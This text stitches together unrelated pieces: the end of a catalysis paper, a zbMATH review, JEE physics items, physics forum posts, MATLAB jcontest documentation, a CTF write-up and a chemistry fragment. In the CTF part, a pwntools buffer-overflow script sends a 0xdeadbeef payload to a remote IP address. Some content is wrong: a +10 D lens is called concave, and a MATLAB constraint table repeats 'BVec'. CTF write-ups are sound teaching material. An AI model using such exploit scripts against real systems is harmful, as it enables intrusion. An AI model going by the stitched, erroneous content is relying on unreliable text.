OCM catalytic tests were performed in a parallel fixed bed reactor featuring 48 quartz tube reactors with 4 mm inner diameter. Each tube carried 50 mg catalyst powder 300 mg of pre-calcined SiC granules placed upstream to ensure efficient feed preheating. Catalytic performance was measured in 25 K intervals (450 °C → 5 K/min ramp → 475 °C,…) up to 850 °C, holding each temperature to analyze product composition via GC14. OCM testing was performed with two different feed compositions, i.e., CH4/O2/N2 (26.2:14.8:59.0) and CH4/O2/N2/CO2 (26.2:14.8:3.0:56.0), using fresh catalysts for each run and a flow rate of 14.7 Nml/min per reactor channel.

Data availability

All data employed in this work are available in the Supplementary Files.

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Acknowledgements

Funding by the Deutsche Forschungsgemeinschaft (DFG, German Research Foundation) under Germany´s Excellence Strategy - EXC-2008/1 (UniSysCat) - 390540038 as well as EXC 314 (UniCat) are gratefully acknowledged. R.K. thanks Einstein Foundation Berlin for generous support provided by an Einstein-Junior-Fellowship (EJF-2011-95). The support of Denis Bernsmeier during manuscript revisions is highly appreciated.

Author information

Authors

Contributions

R.K. and A.W. with support of J.P. designed the study R.S. and A.F. performed the study and developed the statistical approach. E.V.K. contributed to the experimental validation. All authors contributed to the manuscript writing.

Corresponding author

Correspondence to Ralph Kraehnert.

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The authors declare no competing interests.

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Schmack, R., Friedrich, A., Kondratenko, E. et al. A meta-analysis of catalytic literature data reveals property-performance correlations for the OCM reaction. Nat Commun 10, 441 (2019). https://doi.org/10.1038/s41467-019-08325-8

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# zbMATH — the first resource for mathematics

A general strong Nyman-Beurling criterion for the Riemann hypothesis. (English) Zbl 1119.11048
The author considers the Müntz operator $g(x)=Pf(x):=\sum_{n\geq1}f(nx)-\frac{1}{x}\int_0^\infty f(t)\,dt$ for suitable $$f$$. For certain $$f$$ with both $$f,g\in L_2(0,\infty)$$ it is true that the famous Riemann Hypothesis (all complex zeros of the Riemann zeta-function $$\zeta(s)$$ have real parts equal to 1/2) is equivalent to the fact that $$f$$ is in the $$L_2$$ closure of the vector space generated by the dilatations $$g(kx)$$ when $$k\in\mathbb N$$. In this paper the author obtains, by methods from functional analysis, additional equivalent statements of the Riemann Hypothesis. An essential rôle is played by the classical representation $\zeta(s)=s\int_0^\infty\frac{[x]-x}{x^{s+1}}\,dx\qquad(0<\sigma<1,\;s=\sigma+it),$ where $$[x]$$ is the integer part of $$x$$. This is a special case of the Müntz formula, which says that under suitable conditions $\zeta(s){\widehat f}(s) =\widehat {Pf}(s)\qquad(0<\sigma<1,\;s=\sigma+it),$ where $${\widehat f}(s)=\int_0^\infty x^{s-1}f(x)\,dx$$ is the usual Mellin tranform of $$f$$.

##### MSC:
 11M06 $$\zeta (s)$$ and $$L(s, \chi)$$ 11M26 Nonreal zeros of $$\zeta (s)$$ and $$L(s, \chi)$$; Riemann and other hypotheses
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1
JEE Main 2019 (Online) 10th April Morning Slot
+4
-1
In a photoelectric effect experiment the threshold wavelength of the light is 380 nm. If the wavelentgh of incident light is 260 nm, the maximum kinetic energy of emitted electrons will be:
Given E (in eV) = 1237/$$\lambda$$ (in nm)
A
4.5 eV
B
15.1 eV
C
3.0 eV
D
1.5 eV
2
JEE Main 2019 (Online) 9th April Evening Slot
+4
-1
A particle 'P' is formed due to a completely inelastic collision of particles 'x' and 'y' having de-Broglie wavelengths '$$\lambda$$x' and '$$\lambda$$y' respectively. If x and y were moving in opposite directions, then the de-Broglie wavelength of 'P' is :-
A
$${\lambda _x} - {\lambda _y}$$
B
$${{{\lambda _x}{\lambda _y}} \over {\left| {{\lambda _x} - {\lambda _y}} \right|}}$$
C
$${\lambda _x} + {\lambda _y}$$
D
$${{{\lambda _x}{\lambda _y}} \over {{\lambda _x} + {\lambda _y}}}$$
3
JEE Main 2019 (Online) 9th April Morning Slot
+4
-1
The electric field of light wave is given as $$\overrightarrow E = {10^{ - 3}}\cos \left( {{{2\pi x} \over {5 \times {{10}^{ - 7}}}} - 2\pi \times 6 \times {{10}^{14}}t} \right)\mathop x\limits^ \wedge {{\rm N} \over C}$$\$ This light falls on a metal plate of work function 2eV. The stopping potential of the photoelectrons is :
Given, E (in eV) = 12375/$$\lambda$$(inÅ)
A
2.48 V
B
0.48 V
C
0.72 V
D
2.0 V
4
JEE Main 2019 (Online) 8th April Evening Slot
+4
-1
A nucleus A, with a finite de-broglie wavelength $$\lambda$$A, undergoes spontaneous fission into two nuclei B and C of equal mass. B flies in the same direction as that of A, while C flies in the opposite direction with a velocity equal to half of that of B. The de-Broglie wavelengths $$\lambda$$B and $$\lambda$$C of B and C are respectively :
A
$$\lambda$$A, 2$$\lambda$$A
B
2$$\lambda$$A, $$\lambda$$A
C
$$\lambda$$A, $$\lambda$$A/2
D
$$\lambda$$A/2, $$\lambda$$A
JEE Main Subjects
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Optics
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text:
# If the numerical value of the power of this lens is 10 D, what is its focal length in the Cartesian system ? - Science

If the numerical value of the power of this lens is 10 D, what is its focal length in the Cartesian system ?

#### Solution

Since, power of a lens is given by the relation

P=1/f (in metres)

p = 10 D (given)

10 = 1/f

f = 1/10

f= 0.1 m

Therefore, the focal length of the lens is  0.1 m as the lens is concave in nature.

Is there an error in this question or solution?


text:
Vector Kinematics Take 2

1. Sep 18, 2007

Destrio

A particle is moving in the xy plane with velocity v(t) = Vx(t)i + Vy(t)j
and acceleration a(t) = ax(t)i + ay(t)j
By taking the appropriate derivative, show that the magnitude of v can be constant only if axvx + ayvy = 0

I did it in a similiar way to the other problem I had as it seems like a similiar problem,
My thinking is:

h = (Vx(t)i)^2 + (Vy(t)j)^2

s(t) = sqrt(h)

dh/dt = d(vx^2 + vy^2) / dt
= d(vx)^2/dt + d(vy)^2/dt
= (d(vx^2)/dvx)(dvx/dt) + (d(vy^2)/dvy)(dy/dt)
= 2vx(dx/dt) + 2vy(dy/dt)

ds/dt = (ds/dh)(dh/dt)
= ((1/2)h^(-1/2))[(2vx(dvx/dt))+(2vy(dvy/dt))]

((1/2)h^(-1/2))[(2vx(dvx/dt))+(2vy(dvy/dt))] = 0

((1/2)h^(-1/2))[(2vx(ax))+(2vy(ax))] = 0

2((1/2)h^(-1/2))[vxax+vyax] = 0

axvx + ayvy = 0

Thanks

2. Sep 18, 2007

learningphysics

Looks good! Very nice!


text:
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Electric Field from Electric Potential

If the electric potential is given by $$\chi=cxy$$, calculate the electric field.

Discussion:

$$E_x=-\frac{\partial\chi}{\partial x}=-cy$$
$$E_y=\frac{\partial \chi}{\partial y}=-cx$$
Hence electric field $$\vec{E}=-c(y\hat{i}+x\hat{j})$$

September 21, 2017

1 comment

1. This really is incredible as well as what I’d been searching for. Thank you for this.


text:
# jcontest

Johansen constraint test

## Description

example

h = jcontest(Y,r,test,Cons) returns the rejection decisions h from conducting the Johansen constraint test, which assesses linear constraints on either the error-correction (adjustment) speeds A or the cointegration space spanned by the cointegrating matrix B in the reduced-rank VEC(q) model of the multivariate time series yt, where:

• Y is a matrix of observations of yt.

• r is the common rank of matrices A and B.

• test specifies the constraint types, including linear or equality constraints on A or B.

• Cons specifies the test constraint values.

For a particular test, the constraint type and values form the null hypotheses tested against the alternative hypothesis H(r) of cointegration rank less than or equal to r (an unconstrained VEC model). The tests also produce maximum likelihood estimates of the parameters in the VEC(q) model, subject to the constraints.

Each element of test and Cons results in a separate test.

example

[h,pValue,stat,cValue] = jcontest(Y,r,test,Cons) also returns the p-values pValue, test statistics stat, and critical values cValue of the test.

example

StatTbl = jcontest(Tbl,r,test,Cons) returns the table StatTbl containing variables for the test results, statistics, and settings from conducting the Johansen constraint test on all variables of the input table or timetable Tbl.

To select a subset of variables in Tbl to test, use the DataVariables name-value argument.

example

[___] = jcontest(___,Name=Value) specifies options using one or more name-value arguments in addition to any of the input argument combinations in previous syntaxes. jcontest returns the output argument combination for the corresponding input arguments.

In addition to bp, some options control the number of tests to conduct.

For example, jcontest(Tbl,r,test,Cons,Model="H2",DataVariables=1:5) tests the first 5 variables in the input table Tbl using the Johansen model that excludes all deterministic terms.

example

[___,mles] = jcontest(___) also returns a structure of maximum likelihood estimates associated with the constrained VEC(q) models of the multivariate time series yt.

## Examples

collapse all

Test for weak exogeneity of a time series, with respect to other series in the system, by using default options of jcontest. Input the time series data as a numeric matrix.

Load data of Canadian inflation and interest rates Data_Canada.mat, which contains the series in the matrix Data.

series'
ans = 5x1 cell
{'(INF_C) Inflation rate (CPI-based)'         }
{'(INF_G) Inflation rate (GDP deflator-based)'}
{'(INT_S) Interest rate (short-term)'         }
{'(INT_M) Interest rate (medium-term)'        }
{'(INT_L) Interest rate (long-term)'          }

Use the Johansen constraint test to assess whether the CPI-based inflation rate ${\mathit{y}}_{1,\mathit{t}}$ is weakly exogenous with respect to the three interest rate series by testing the following constraint in a 4-D VEC model of the series:

$\left(1-L\right){y}_{1,t}=c+{\epsilon }_{t}.$

Specify a rank of 1 for the test, a linear constraint on the 4-by-1 adjustment speed vector$\mathit{A}$ so that ${\mathit{a}}_{1}=0$, and default options. Return the rejection decision.

Cons = [1; 0; 0; 0];
Y = Data(:,[1 3:5]);
h = jcontest(Y,1,"ACon",Cons)
h = logical
0

Given default options and assumptions, h = 0 suggests that the test fails to reject the null hypothesis of the constrained model, which is that the inflation rate is weakly exogenous with respect to the interest rate series.

Load data of Canadian inflation and interest rates Data_Canada.mat, which contains the series in the matrix Data.

Conduct the default Johansen constraint test to assess whether the CPI-based inflation rate is weakly exogenous with respect to the interest rate series. Return the test decisions and $\mathit{p}$-values.

Cons = [1; 0; 0; 0];
Y = Data(:,[1 3:5]);
[h,pValue,stat,cValue] = jcontest(Y,1,"ACon",Cons)
h = logical
0

pValue = 0.3206
stat = 0.9865
cValue = 3.8415

Test for weak exogeneity of a time series, which are variables in a table, with respect to the other time series in the table. Return a table of results.

dates = datetime(dates,ConvertFrom="datenum");
TT = table2timetable(DataTable,RowTimes=dates);
TT.Observations = [];

Use the Johansen constraint test to assess whether the CPI-based and GDP-deflator-based inflation rates (${\mathit{y}}_{1,\mathit{t}}$ and ${\mathit{y}}_{2,\mathit{t}}$, respectively) are weakly exogenous with respect to the three interest rate series by testing the following constraint in a 5-D VEC model of the series:

$\begin{array}{l}\left(1-L\right){y}_{1,t}={c}_{1,1}+{\epsilon }_{1,t}\\ \left(1-L\right){y}_{2,t}={c}_{2,1}+{\epsilon }_{2,t}.\end{array}$

Specify a rank of 2 for the test, a linear constraint on the 4-by-2 adjustment speed vector$\mathit{A}$ so that ${\mathit{a}}_{1}=0$ and ${\mathit{a}}_{2}=0$, and default options.

Cons = [1 0;
0 1;
0 0;
0 0;
0 0];
StatTbl = jcontest(TT,2,"ACon",Cons)
StatTbl=1×8 table
h        pValue       stat     cValue    Lags    Alpha    Model       Test
_____    __________    ______    ______    ____    _____    ______    ________

Test 1    true     1.3026e-05    27.907    9.4877     0      0.05     {'H1'}    {'acon'}

StatTbl.h = 1 means that the test rejects the null hypothesis of the constrained model that the inflation rates are jointly weakly exogenous. StatTbl.pValue = 1.3026e-5 suggests that the evidence to reject is strong.

By default, jcontest conducts the Johansen constraint test on all variables in the input table. To select a subset of variables from an input table, set the DataVariables option.

Use the Johansen framework to test multivariate time series with the following characteristics:

1. The log Australian CPI, log US CPI, and the exchange rate series of the countries are stationary.

2. The three series exhibit cointegration.

3. The Australian and the US dollars have the same purchasing power.

Load the data on Australian and U.S. prices Data_JAustralian.mat, which contains the table DataTable. Convert the table to a timetable.

dates = datetime(dates,ConvertFrom="datenum");
TT = table2timetable(DataTable,RowTimes=dates);
TT.Dates = [];

Plot the log Australian and log US CPI series (PAU and PUS, respectively), and the log AUD/USD exchange rate series EXCH.

varnames = ["PAU" "PUS" "EXCH"];
plot(TT.Time,TT{:,varnames})
legend(varnames,Location="best")
grid on

Pretest for Stationarity

Use jcontest to test the null hypothesis that the individual series are stationary by specifying, for each variable $\mathit{j}$, the following constrained model

$\left(1-L\right){y}_{t}=\left[\begin{array}{c}{a}_{1,j}\\ {a}_{2,j}\\ {a}_{3,j}\end{array}\right]\left({y}_{t-1}+{c}_{0}\right)+{c}_{1}+{\epsilon }_{t}.$

Specify the variables to use in the test.

Cons = num2cell(eye(3),1)
Cons=1×3 cell array
{3x1 double}    {3x1 double}    {3x1 double}

StatTbl0 = jcontest(TT,1,"BVec",Cons,DataVariables=varnames)
StatTbl0=3×8 table
h        pValue       stat     cValue    Lags    Alpha    Model       Test
_____    __________    ______    ______    ____    _____    ______    ________

Test 1    true      1.307e-05     22.49    5.9915     0      0.05     {'H1'}    {'bvec'}
Test 2    true     1.0274e-05    22.972    5.9915     0      0.05     {'H1'}    {'bvec'}
Test 3    false       0.06571     5.445    5.9915     0      0.05     {'H1'}    {'bvec'}

jcontest returns a table of test results. Each row corresponds to a separate test and columns correspond to results or specified options for each test.

StatTbl.h(j) = 1 rejects the null hypothesis of stationarity of variable j, and StatTbl.h(j) = 0 fails to reject stationarity.

Test for Cointegration

Test for cointegration by using jcitest.

StatTbl1 = jcitest(TT,DataVariables=varnames)
StatTbl1=1×7 table
r0       r1       r2      Model     Lags      Test       Alpha
_____    _____    _____    ______    ____    _________    _____

t1    true     false    false    {'H1'}     0      {'trace'}    0.05

StatTbl1.r1 = 0 and StatTbl1.r2 = 0 suggest that the series exhibit at least rank 1 cointegration.

Test for purchasing power parity PAU = PUS + EXCH.

StatTbl2 = jcontest(TT,1,"BCon",[1 -1 -1]',DataVariables=varnames)
StatTbl2=1×8 table
h       pValue      stat     cValue    Lags    Alpha    Model       Test
_____    ________    ______    ______    ____    _____    ______    ________

Test 1    false    0.053995    3.7128    3.8415     0      0.05     {'H1'}    {'bcon'}

StatTbl2.h = 0 means that the test fails to reject the null hypothesis of the constrained model, that is, purchasing power parity between the models should not be rejected.

Compare the four types of supported constraints on the adjustment-speed and cointegrating matrices.

Load the data on Australian and US prices Data_JAustralian.mat, which contains the table DataTable. Convert the table to a timetable. Consider a 3-D VEC model consisting of the log Australian and US CPI, and the log AUD/USD exchange rate series.

dates = datetime(dates,ConvertFrom="datenum");
TT = table2timetable(DataTable,RowTimes=dates);
TT.Dates = [];
varnames = ["PAU" "PUS" "EXCH"];

Conduct the four Johansen constraint tests; specify the arbitrary constraint value $\left[\begin{array}{ccc}1& -1& -1\end{array}\right]\prime$. Return the test results and maximum likelihood estimates of the constrained model.

[StatTbl,mle] = jcontest(TT,1,["ACon" "AVec" "BCon" "BVec"], ...
[1 -1 -1]',DataVariables=varnames);
StatTbl
StatTbl=4×8 table
h        pValue       stat     cValue    Lags    Alpha    Model       Test
_____    __________    ______    ______    ____    _____    ______    ________

Test 1    false       0.11047    2.5475    3.8415     0      0.05     {'H1'}    {'acon'}
Test 2    true     3.0486e-08    34.612    5.9915     0      0.05     {'H1'}    {'avec'}
Test 3    false      0.053995    3.7128    3.8415     0      0.05     {'H1'}    {'bcon'}
Test 4    false      0.074473    5.1946    5.9915     0      0.05     {'H1'}    {'bvec'}

mle is a 4-by-1 structure array with fields containing the maximum likelihood estimates of the constrained models for each test.

For each test, display the estimates of $\mathit{A}$ and $\mathit{B}$, and compute the MLE of the impact matrix $\stackrel{ˆ}{\text{\hspace{0.17em}}\mathit{C}}=\stackrel{ˆ}{\mathit{A}}\stackrel{ˆ}{\text{\hspace{0.17em}}\mathit{B}}\prime$. The impactmat function is a local supporting function that computes the MLE of the impact matrix and displays the estimated matrices.

[AACon,BACon,CACon] = impactmat(mle(1))
AACon = 3×1

0.0043
0.0055
-0.0012

BACon = 3×1

2.8496
-2.3341
-6.2670

CACon = 3×3

0.0121   -0.0099   -0.0267
0.0156   -0.0128   -0.0343
-0.0035    0.0028    0.0076

[1 -1 -1]*AACon
ans = 0
[AAVec,BAVec,CAVec] = impactmat(mle(2))
AAVec = 3×1

1
-1
-1

BAVec = 3×1

-0.0204
0.0158
0.0246

CAVec = 3×3

-0.0204    0.0158    0.0246
0.0204   -0.0158   -0.0246
0.0204   -0.0158   -0.0246

[ABCon,BBCon,CBCon] = impactmat(mle(3))
ABCon = 3×1

-0.0043
-0.0052
-0.0089

BBCon = 3×1

1.8001
-3.9210
5.7211

CBCon = 3×3

-0.0078    0.0170   -0.0248
-0.0094    0.0206   -0.0300
-0.0159    0.0347   -0.0507

[1 -1 -1]*BBCon
ans = 4.4409e-16
[ABVec,BBVec,CBVec] = impactmat(mle(4))
ABVec = 3×1

0.0252
0.0422
0.0556

BBVec = 3×1

1
-1
-1

CBVec = 3×3

0.0252   -0.0252   -0.0252
0.0422   -0.0422   -0.0422
0.0556   -0.0556   -0.0556

Observe that the AVec and BVec constraints apply the constraint value directly to the coefficients, whereas the estimates of the ACon and BCon constraints fulfill the corresponding linear constraint.

Supporting Function

function [A,B,C] = impactmat(mlest)
A = mlest.paramVals.A;
B = mlest.paramVals.B;
C = A*B';
end

## Input Arguments

collapse all

Data representing observations of a multivariate time series yt, specified as a numObs-by-numDims numeric matrix. Each column of Y corresponds to a variable, and each row corresponds to an observation.

Data Types: double

Data representing observations of a multivariate time series yt, specified as a table or timetable with numObs rows. Each row of Tbl is an observation.

To select a subset of variables in Tbl to test, use the DataVariables name-value argument.

Common rank of A and B, specified by a positive integer in the interval [1,numDims − 1].

Tip

Infer r by conducting a Johansen test using jcitest.

Data Types: double

Null hypothesis constraint type, specified as a constraint name in the table, or a string vector or cell vector of character vectors of such values.

Constraint NameDescription
"ACon"Test linear constraints on A.
"AVec"Test specific vectors in A.
"BVec"Test linear constraints on B.
"BVec"Test specific vectors in B.

jcontest conducts a separate test for each value in test.

Data Types: string | char | cell

Null hypothesis constraint values, specified as a value for the corresponding constraint type test, or a cell vector of such values, in this table.

For constraints on B, the number of rows in each matrix numDims1 is one of the following, where numDims is the number of dimensions in the input data:

• numDims + 1 when the Model name-value argument is "H*" or "H1*" and constraints include the restricted deterministic term in the model

• numDims otherwise

Constraint Type testConstraint Value ConsDescription
"ACon"R, a numDims-by-numCons numeric matrixSpecifies numCons constraints on A given by R'A = 0, where numConsnumDimsr.
"AVec"numDims1-by-numCons numeric matrixSpecifies numCons equality constraints imposed on error-correction speed vectors in A, where numConsr.
"BCon"R, numDims-by-numCons numeric matrix Specifies numCons constraints on B given by R'B = 0, where numConsnumDimsr.
"BVec"numDims1-by-numCons numeric matrixSpecifies numCons equality constraints imposed on numCons of the cointegrating vectors in B, where numConsr.

Tip

When you construct constraint values, use the following interpretations of the rows and columns of A and B.

• Row i of A contains the adjustment speeds of variable yi,t to disequilibrium in each of the r cointegrating relations.

• Column j of A contains the adjustment speeds of each of the numDims variables to disequillibrium in cointegrating relation j.

• Row i of B contains the coefficients of variable yi,t in each of the r cointegrating relations.

• Column j of B contains the coefficients of each of the numDims variables in cointegrating relation j.

jcontest conducts a separate test for each cell in Cons.

Data Types: string | char | cell

Note

jcontest removes the following observations from the specified data:

• All rows containing at least one missing observation, represented by a NaN value

• From the beginning of the data, initial values required to initialize lagged variables

### Name-Value Arguments

Specify optional pairs of arguments as Name1=Value1,...,NameN=ValueN, where Name is the argument name and Value is the corresponding value. Name-value arguments must appear after other arguments, but the order of the pairs does not matter.

Before R2021a, use commas to separate each name and value, and enclose Name in quotes.

Example: jcontest(Tbl,r,test,Cons,Model="H2",DataVariables=1:5) tests the first 5 variables in the input table Tbl using the Johansen model that excludes all deterministic terms.

Johansen form of the VEC(q) model deterministic terms [3], specified as a Johansen form name in the table, or a string vector or cell vector of character vectors of such values (for model parameter definitions, see Vector Error-Correction (VEC) Model).

ValueError-Correction TermDescription
"H2"

AB´yt − 1

No intercepts or trends are present in the cointegrating relations, and no deterministic trends are present in the levels of the data.

Specify this model only when all response series have a mean of zero.

"H1*"

A(B´yt−1+c0)

Intercepts are present in the cointegrating relations, and no deterministic trends are present in the levels of the data.

"H1"

A(B´yt−1+c0)+c1

Intercepts are present in the cointegrating relations, and deterministic linear trends are present in the levels of the data.

"H*"A(B´yt−1+c0+d0t)+c1

Intercepts and linear trends are present in the cointegrating relations, and deterministic linear trends are present in the levels of the data.

"H"A(B´yt−1+c0+d0t)+c1+d1t

Intercepts and linear trends are present in the cointegrating relations, and deterministic quadratic trends are present in the levels of the data.

If quadratic trends are not present in the data, this model can produce good in-sample fits but poor out-of-sample forecasts.

jcontest conducts a separate test for each value in Model.

Example: Model="H1*" uses the Johansen form H1* for all tests.

Example: Model=["H1*" "H1"] uses Johansen form H1* for the first test, and then uses Johansen form H1 for the second test.

Data Types: string | char | cell

Number of lagged differences q in the VEC(q) model, specified as a nonnegative integer or vector of nonnegative integers.

jcontest conducts a separate test for each value in Lags.

Example: Lags=1 includes Δyt – 1 in the model for all tests.

Example: Lags=[0 1] includes no lags in the model for the first test, and then includes Δyt – 1 in the model for the second test.

Data Types: double

Nominal significance level for the hypothesis test, specified as a numeric scalar between 0.001 and 0.999 or a numeric vector of such values.

jcontest conducts a separate test for each value in Alpha.

Example: Alpha=[0.01 0.05] uses a level of significance of 0.01 for the first test, and then uses a level of significance of 0.05 for the second test.

Data Types: double

Variables in Tbl for which jcontest conducts the test, specified as a string vector or cell vector of character vectors containing variable names in Tbl.Properties.VariableNames, or an integer or logical vector representing the indices of names. The selected variables must be numeric.

Example: DataVariables=["GDP" "CPI"]

Example: DataVariables=[true true false false] or DataVariables=[1 2] selects the first and second table variables.

Data Types: double | logical | char | cell | string

Note

• When jcontest conducts multiple tests, the function applies all single settings (scalars or character vectors) to each test.

• All vector-valued specifications that control the number of tests must have equal length.

• If you specify the vector y and any value is a row vector, all outputs are row vectors.

• A lagged and differenced time series has a reduced sample size. Absent presample values, if the test series yt is defined for t = 1,…,T, the lagged series yt– k is defined for t = k+1,…,T. The first difference applied to the lagged series yt– k further reduces the time base to k+2,…,T. With p lagged differences, the common time base is p+2,…,T and the effective sample size is T–(p+1).

## Output Arguments

collapse all

Test rejection decisions, returned as a logical scalar or vector with length equal to the number of tests. jcontest returns h when you supply the input Y.

• Values of 1 indicate rejection of the null hypothesis that the specified constraints test and Cons hold in favor of the alternative hypothesis that they do not hold.

• Values of 0 indicate failure to reject the null hypothesis that the constraints hold.

Test statistic p-values, returned as a numeric scalar or vector with length equal to the number of tests. jcontest returns pValue when you supply the input Y.

The p-values are right-tail probabilities.

Test statistics, returned as a numeric scalar or vector with length equal to the number of tests. jcontest returns stat when you supply the input Y.

The test statistics are likelihood ratios determined by the test.

Critical values, returned as a numeric scalar or vector with length equal to the number of tests. jcontest returns cValue when you supply the input Y.

The asymptotic distributions of the test statistics are chi-square, with the degree-of-freedom parameter determined by the test. The critical value of the test statistics are for a right-tail probability.

Test summary, returned as a table with variables for the outputs h, pValue, stat, and cValue, and with a row for each test. jcontest returns StatTbl when you supply the input Tbl.

StatTbl contains variables for the test settings specified by Lags, Alpha, Model, and Test.

Maximum likelihood estimates associated with the constrained VEC(q) model of yt, return as a structure array with the number of records equal to the number of tests.

Each element of mles has the fields in this table. You can access a field using dot notation, for example, mles(3).paramVals contains a structure of the parameter estimates.

FieldDescription
paramNames

Cell vector of parameter names, of the form:

{A, B, B1, … Bq, c0, d0, c1, d1}.

Elements depend on the values of Lags and Model.

paramValsStructure of parameter estimates with field names corresponding to the parameter names in paramNames.
res T-by-numDims matrix of residuals, where T is the effective sample size, obtained by fitting the VEC(q) model of yt to the input data.
EstCovEstimated covariance Q of the innovations process εt.
rLL Restricted loglikelihood of yt under the null hypothesis.
uLLUnrestricted loglikelihood of yt under the alternative hypothesis.
dofDegrees of freedom of the asymptotic chi-square distribution of the test statistic.

collapse all

### Vector Error-Correction (VEC) Model

A vector error-correction (VEC) model is a multivariate, stochastic time series model consisting of a system of m = numDims equations of m distinct, differenced response variables. Equations in the system can include an error-correction term, which is a linear function of the responses in levels used to stabilize the system. The cointegrating rank r is the number of cointegrating relations that exist in the system.

Each response equation can include a degree q autoregressive polynomial composed of first differences of the response series, a constant, a time trend, and a constant and time trend in the error-correction term.

Expressed in lag operator notation, a VEC(q) model for a multivariate time series yt is

$\begin{array}{c}\Phi \left(L\right)\left(1-L\right){y}_{t}=A\left(B\prime {y}_{t-1}+{c}_{0}+{d}_{0}t\right)+{c}_{1}+{d}_{1}t+{\epsilon }_{t}\\ =c+dt+C{y}_{t-1}+{\epsilon }_{t},\end{array}$

where

• yt is an m = numDims dimensional time series corresponding to m response variables at time t, t = 1,...,T.

• $\Phi \left(L\right)=I-{\Phi }_{1}-{\Phi }_{2}-...-{\Phi }_{q}$, I is the m-by-m identity matrix, and Lyt = yt – 1.

• The cointegrating relations are B'yt – 1 + c0 + d0t and the error-correction term is A(B'yt – 1 + c0 + d0t).

• r is the number of cointegrating relations and, in general, 0 ≤ rm.

• A is an m-by-r matrix of adjustment speeds.

• B is an m-by-r cointegration matrix.

• C = AB′ is an m-by-m impact matrix with a rank of r.

• c0 is an r-by-1 vector of constants (intercepts) in the cointegrating relations.

• d0 is an r-by-1 vector of linear time trends in the cointegrating relations.

• c1 is an m-by-1 vector of constants (deterministic linear trends in yt).

• d1 is an m-by-1 vector of linear time-trend values (deterministic quadratic trends in yt).

• c = Ac0 + c1 and is the overall constant.

• d = Ad0 + d1 and is the overall time-trend coefficient.

• Φj is an m-by-m matrix of short-run coefficients, where j = 1,...,q and Φq is not a matrix containing only zeros.

• εt is an m-by-1 vector of random Gaussian innovations, each with a mean of 0 and collectively an m-by-m covariance matrix Σ. For ts, εt and εs are independent.

If m = r, then the VEC model is a stable VAR(q + 1) model in the levels of the responses. If r = 0, then the error-correction term is a matrix of zeros, and the VEC(q) model is a stable VAR(q) model in the first differences of the responses.

## Tips

• jcontest compares finite-sample statistics to asymptotic critical values, and tests can show significant size distortions for small samples [2]. Larger samples lead to more reliable inferences.

• To convert VEC(q) model parameters in the mles output to vector autoregressive (VAR) model parameters, use the vec2var function.

## Algorithms

• jcontest identifies deterministic terms that are outside of the cointegrating relations, c1 and d1, by projecting constant and linear regression coefficients, respectively, onto the orthogonal complement of A.

• The parameters A and B in the reduced-rank VEC(q) model are not identifiable. jcontest identifies B using the methods in [3], depending on the test.

• Tests on B answer questions about the space of cointegrating relations. Tests on A answer questions about common driving forces in the system. For example, an all-zero row in A indicates a variable that is weakly exogenous with respect to the coefficients in B. Such a variable can affect other variables, but it does not adjust to disequilibrium in the cointegrating relations. Similarly, a standard unit vector column in A indicates a variable that is exclusively adjusting to disequilibrium in a particular cointegrating relation.

• Constraint matrices R satisfying RA = 0 or RB = 0 are equivalent to A = Hφ or B = Hφ, where H is the orthogonal complement of R (null(R')) and φ is a vector of free parameters.

## References

[1] Hamilton, James D. Time Series Analysis. Princeton, NJ: Princeton University Press, 1994.

[2] Haug, A. “Testing Linear Restrictions on Cointegrating Vectors: Sizes and Powers of Wald Tests in Finite Samples.” Econometric Theory. v. 18, 2002, pp. 505–524.

[3] Johansen, S. Likelihood-Based Inference in Cointegrated Vector Autoregressive Models. Oxford: Oxford University Press, 1995.

[4] Juselius, K. The Cointegrated VAR Model. Oxford: Oxford University Press, 2006.

[5] Morin, N. "Likelihood Ratio Tests on Cointegrating Vectors, Disequilibrium Adjustment Vectors, and their Orthogonal Complements." European Journal of Pure and Applied Mathematics. v. 3, 2010, pp. 541–571.

## Version History

Introduced in R2011a


text:
Steganography

Small icon much wow

We got an image stego.jpg.

By using binwalk, we see that there is another .jpg file in it.

Using command dd if=stego.jpg of=stego1.jpg skip=202 bs=1, we can get the hidden image.

Accessing the QR code, we got the flag d4rk{flAg_h1dd3n_1n_th3_thumbnail}c0de.

Crypto

OTP

hackerman is so dank that he decided to play around with OTPs.
he did the following:
message1 ^ key = cipher1
message2 ^ key = cipher2
He gives you cipher1 and cipher2 and challenges you to find the concatenation of messages 1 and 2.
Are you dank enough to find this?
Oh and also, ‘meme’ is so popular that hackerman used the word in both his messages.
cipher1 is ‘\x05F\x17\x12\x14\x18\x01\x0c\x0b4’
cipher2 is ‘>\x1f\x00\x14\n\x08\x07Q\n\x0e’
Both without quotes

cipher1 ^ cipher2 = message1 ^ message2

Executing the program below, and we can find the flag d4rk{meme__meme}c0de.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28  #cipher1 = '\x05F\x17\x12\x14\x18\x01\x0c\x0b4' #cipher2 = '>\x1f\x00\x14\n\x08\x07Q\n\x0e' cipher1 = '054617121418010c0b34' cipher2 = '3e1f00140a0807510a0e' m1_xor_m2 = hex(int(cipher1, 16) ^ int(cipher2, 16)) print(m1_xor_m2) #3b5917060410065d1b3a #cipher1 = d4rk{Xmeme | d4rk{memeX #cipher2 = Xmeme}c0de | memeX}c0de m1_front_hex = "d4rk{".encode("hex") m2_back_hex = "}c0de".encode("hex") m1_xor_m2 = m1_xor_m2[2:-1] m2_front_hex = hex(int(m1_xor_m2[0:10], 16) ^ int(m1_front_hex, 16)) m2_front = m2_front_hex[2:].decode("hex") m1_back_hex = hex(int(m1_xor_m2[10:20], 16) ^ int(m2_back_hex, 16)) m1_back = m1_back_hex[2:].decode("hex") m1 = "d4rk{" + m1_back m2 = m2_front + "}c0de" print(m1 + m2)

Pwn

baby b0f

We got a 64-bit executable q1.

Using ghidra, we can decompile its main function.

If we make local_c to the value, which is 0xdeadbeef, we can get the flag d4rk{W3lc0me_t0_th3_w0rld_0f_pwn}c0de.

  1 2 3 4 5 6 7 8 9 10  from pwn import * p = remote('68.183.158.95', 8989) s = '' s += "A"*8 + "A"*2 + p64(0xdeadbeef) p.sendline(s) p.interactive()


text:
# Review of Oxidation and Reduction Reactions

## Oxidation State

Oxidation state (also known as oxidation number or valence state), is a quick way of assessing the oxidation or reduction of particular atoms according to a prescribed set of rules. Oxidation state is not the same as formal charge, which tries to estimate the real charge distribution of a molecule or ion among its constituent atoms. Formal charge uses information about single bonds, multiple bonds and octet and non-octet structures. Dipole moment, the actual distribution of charges in a molecule or ion, must be experimentally measured.

Empirical Method of Determining Oxidation State: These rules must be memorized and applied in order, the first rule has the highest priority, the last has the least priority.)

